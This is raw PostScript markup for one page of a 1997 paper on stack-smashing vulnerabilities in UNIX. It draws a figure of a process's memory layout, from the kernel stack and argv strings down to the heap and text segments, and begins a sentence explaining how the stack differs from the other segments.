0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7223 4573 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4297 M (and stack areas which are written by and are private to each process.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 12 12 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS GS 1495 10000 7204 2677 DOCLIPBOX n 1495 10000 M 7203 10000 L 7203 2678 L 1495 2678 L 1495 10000 L 7203 10000 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR GS 1495 10000 7203 2678 DOCLIPBOX n 1498 9997 M 7190 9997 L 7190 2693 L 1498 2693 L 1498 9997 L 7190 9997 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5197 4876 M 6906 4876 L 6906 3925 L 5197 3925 L 5197 4876 L 6906 4876 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4923 M 6857 4923 L 6857 3974 L 5150 3974 L 5150 4923 L 6857 4923 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2874 9759 M 4582 9759 L 4582 3925 L 2874 3925 L 2874 9759 L 4582 9759 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9807 M 4534 9807 L 4534 3974 L 2826 3974 L 2826 9807 L 4534 9807 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9475 M 4535 9475 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 1495 10000 7202 2679 DOCLIPBOX n 3144 9586 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (per-process kernel stack) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 9143 M 4535 9143 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3489 9254 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (red zone) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8812 M 4535 8812 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8479 M 4535 8479 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 8147 M 4535 8147 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3480 8923 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (user area) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3317 8591 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (ps_strings struct) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3423 8259 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (signal code) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7816 M 4535 7816 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7483 M 4535 7483 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3434 7926 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (env strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3415 7594 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argv strings) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3402 7263 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (env pointers) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3384 6931 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argv pointers) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3579 6599 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (argc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3458 6267 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (user stack) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 7150 M 4535 7150 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 6819 M 4535 6819 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 6487 M 4535 6487 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4922 M 4535 4922 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3573 5081 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (heap) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 3679 6203 M 3679 5961 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3654 5978 M 3679 5969 L 3705 5978 L 3679 5918 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3679 5447 M 3679 5206 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 3705 5433 M 3679 5442 L 3654 5433 L 3679 5492 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4638 M 4535 4638 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3607 4749 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (bss) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 4305 M 4535 4305 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3349 4417 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (initialized data) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 2826 3974 M 4535 3974 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 3593 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (text) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 2023 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (0x00000000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1954 3887 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (\(low addresses\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1728 9586 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (0xFFF00000) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 1653 9387 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (\(high addresses\)) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4638 M 6858 4638 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5713 4749 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (symbol table) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 4305 M 6858 4305 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5672 4417 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (initialized data) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 3974 M 6858 3974 L 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5917 4086 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (text) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5197 3927 M 6906 3927 L 6906 3214 L 5197 3214 L 5197 3927 L 6906 3927 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5150 3975 M 6857 3975 L 6857 3262 L 5150 3262 L 5150 3975 L 6857 3975 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 7 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5319 3611 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (linker header & magic number) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 4642 M 4531 4635 L 4563 4635 L 4563 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 4642 M 4594 4635 L 4626 4635 L 4626 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 4642 M 4658 4635 L 4689 4635 L 4689 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 4642 M 4721 4635 L 4753 4635 L 4753 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 4642 M 4784 4635 L 4816 4635 L 4816 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 4642 M 4847 4635 L 4879 4635 L 4879 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 4642 M 4910 4635 L 4942 4635 L 4942 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4974 4642 M 4974 4635 L 5005 4635 L 5005 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5037 4642 M 5037 4635 L 5068 4635 L 5068 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 4642 M 5100 4635 L 5132 4635 L 5132 4642 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 4310 M 4531 4303 L 4563 4303 L 4563 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 4310 M 4594 4303 L 4626 4303 L 4626 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 4310 M 4658 4303 L 4689 4303 L 4689 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 4310 M 4721 4303 L 4753 4303 L 4753 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 4310 M 4784 4303 L 4816 4303 L 4816 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 4310 M 4847 4303 L 4879 4303 L 4879 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 4310 M 4910 4303 L 4942 4303 L 4942 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4974 4310 M 4974 4303 L 5005 4303 L 5005 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5037 4310 M 5037 4303 L 5068 4303 L 5068 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 4310 M 5100 4303 L 5132 4303 L 5132 4310 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 3979 M 4531 3971 L 4563 3971 L 4563 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 3979 M 4594 3971 L 4626 3971 L 4626 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 3979 M 4658 3971 L 4689 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10000 7203 2678 DOCLIPBOX n 5037 3979 M 5037 3971 L 5068 3971 L 5068 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5100 3979 M 5100 3971 L 5132 3971 L 5132 3979 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS 1495 10000 7202 2679 DOCLIPBOX n 3137 3771 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (process in memory) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5299 3060 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (file in secondary storage) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5040 7422 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (command line arguments) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1495 10000 7202 2679 DOCLIPBOX n 5127 7252 M [0.5690 0.0000 0.0000 0.5690 0 0] concat (and shell environment) ST GR GS 1495 10000 7203 2678 DOCLIPBOX n 5390 7150 M 5384 7154 L 5361 7122 L 5368 7118 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5345 7086 M 5339 7090 L 5316 7059 L 5322 7055 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5299 7023 M 5294 7027 L 5271 6996 L 5277 6992 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5255 6960 M 5248 6964 L 5225 6932 L 5232 6928 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5210 6897 M 5203 6901 L 5181 6869 L 5187 6865 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5165 6833 M 5158 6837 L 5136 6806 L 5142 6802 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5119 6770 M 5113 6774 L 5090 6742 L 5097 6738 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5075 6707 M 5067 6711 L 5045 6679 L 5052 6675 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5029 6644 M 5023 6648 L 5000 6616 L 5006 6612 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4984 6581 M 4977 6585 L 4955 6553 L 4961 6549 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4939 6518 M 4932 6521 L 4910 6490 L 4916 6486 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4916 8150 M 4910 8144 L 4936 8113 L 4942 8119 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4969 8087 M 4963 8081 L 4989 8049 L 4996 8056 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5021 8024 M 5015 8018 L 5042 7986 L 5048 7992 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5075 7961 M 5067 7955 L 5094 7923 L 5100 7929 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5127 7897 M 5121 7891 L 5146 7860 L 5154 7866 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5179 7834 M 5173 7828 L 5200 7797 L 5206 7802 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5232 7771 M 5225 7765 L 5252 7734 L 5258 7739 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5285 7707 M 5279 7702 L 5305 7670 L 5311 7676 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5337 7644 M 5331 7639 L 5358 7607 L 5364 7613 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 5390 7581 M 5384 7575 L 5384 7575 L 5390 7581 L 5384 7575 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 6491 M 4531 6484 L 4563 6484 L 4563 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 6491 M 4594 6484 L 4626 6484 L 4626 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 6491 M 4658 6484 L 4689 6484 L 4689 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 6491 M 4721 6484 L 4753 6484 L 4753 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 6491 M 4784 6484 L 4816 6484 L 4816 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 6491 M 4847 6484 L 4879 6484 L 4879 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 6491 M 4910 6484 L 4914 6484 L 4914 6491 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4531 8151 M 4531 8143 L 4563 8143 L 4563 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4594 8151 M 4594 8143 L 4626 8143 L 4626 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4658 8151 M 4658 8143 L 4689 8143 L 4689 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4721 8151 M 4721 8143 L 4753 8143 L 4753 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4784 8151 M 4784 8143 L 4816 8143 L 4816 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4847 8151 M 4847 8143 L 4879 8143 L 4879 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 1495 10000 7203 2678 DOCLIPBOX n 4910 8151 M 4910 8143 L 4914 8143 L 4914 8151 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2606 2434 M (Figure 7.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3208 2434 M ( UNIX Process in primary and secondary storage[5]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 2165 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2045 2165 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2464 2165 M (differs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2977 2165 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 2165 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3696 2165 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3976 2165 M (text ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4302 2165 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 2165 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4973 2165 M (segments ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5670 2165 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5876 2165 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 2165 M (ways. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 2165 M (Most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1889 M (importantly, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2075 1889 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2323 1889 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2710 1889 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2866 1889 M (dynamic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3526 1889 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3811 1889 M (determined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4605 1889 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4770 1889 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5037 1889 M (time, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5420 1889 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5604 1889 M (opposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6203 1889 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6377 1889 M (static ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6773 1889 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7095 1889 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 1889 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1613 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1704 1613 M (loaded ) ST GR 